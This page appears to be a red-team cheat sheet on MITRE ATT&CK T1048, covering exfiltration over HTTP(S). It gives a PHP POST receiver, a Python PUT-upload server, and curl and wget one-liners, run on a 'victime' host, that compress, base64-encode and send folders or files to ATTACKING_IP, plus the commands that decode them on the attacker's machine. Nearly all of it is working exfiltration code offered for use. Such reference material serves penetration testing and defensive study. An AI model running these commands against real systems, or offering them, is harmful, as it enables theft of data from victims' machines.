Over HTTP(s)

MITRE ATT&CK™ - Exfiltration Over Alternative Protocol - Technique T1048

Theory

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP. On macOS and Linux curl may be used to invoke protocols such as HTTP/S

We can also use HTTP(S) Tunneling as a good exfiltration channel.

Practice

POST

We will host a simple PHP server in order to retrieve encoded POST data.

First write the following code in your index.php file

<?php
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
}
?>

Second, start the PHP web-server in the same directory

# Start server on port 80
v4resk㉿kali$ php -S 0.0.0.0:80

On the victim computer, you can now send data through POST request. It will be saved at /tmp/http.bs64

# Linux
# Compress folder, base64, and send
user@victime$ curl --data "file=$(tar zcf - folderToExfiltrate | base64)" http://ATTACKING_IP/

On attacking machine, we can decode now decode it:

# Decode compressed folders
v4resk㉿kali$ sed -i 's/ /+/g' /tmp/http.bs64
v4resk㉿kali$ cat /tmp/http.bs64 | base64 -d | tar xvfz -

PUT

Using the following code, we will host a simple python server in order to retrieve PUT data.

http-put-server.py

#!/usr/bin/env python
import os
try:
    import http.server as server
except ImportError:
    # Handle Python 2.x
    import SimpleHTTPServer as server

class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
    """Extend SimpleHTTPRequestHandler to handle PUT requests"""
    def do_PUT(self):
        """Save a file following a HTTP PUT request"""
        filename = os.path.basename(self.path)

        # Don't overwrite files
        if os.path.exists(filename):
            self.send_response(409, 'Conflict')
            self.end_headers()
            reply_body = '"%s" already exists\n' % filename
            self.wfile.write(reply_body.encode('utf-8'))
            return

        file_length = int(self.headers['Content-Length'])
        with open(filename, 'wb') as output_file:
            output_file.write(self.rfile.read(file_length))
        self.send_response(201, 'Created')
        self.end_headers()
        reply_body = 'Saved "%s"\n' % filename
        self.wfile.write(reply_body.encode('utf-8'))

if __name__ == '__main__':
    server.test(HandlerClass=HTTPRequestHandler)

On attacking host, start the server.

v4resk㉿kali$ python http-put-server.py

Then we can exfiltrate data from the victime host using curl or wget.

user@victime$ curl -X PUT --upload-file somefile.txt http://<ATTACKING_IP>:8000
user@victime$ wget -O- --method=PUT --body-file=somefile.txt http://<ATTACKING_IP>:8000/somefile.txt

Resources

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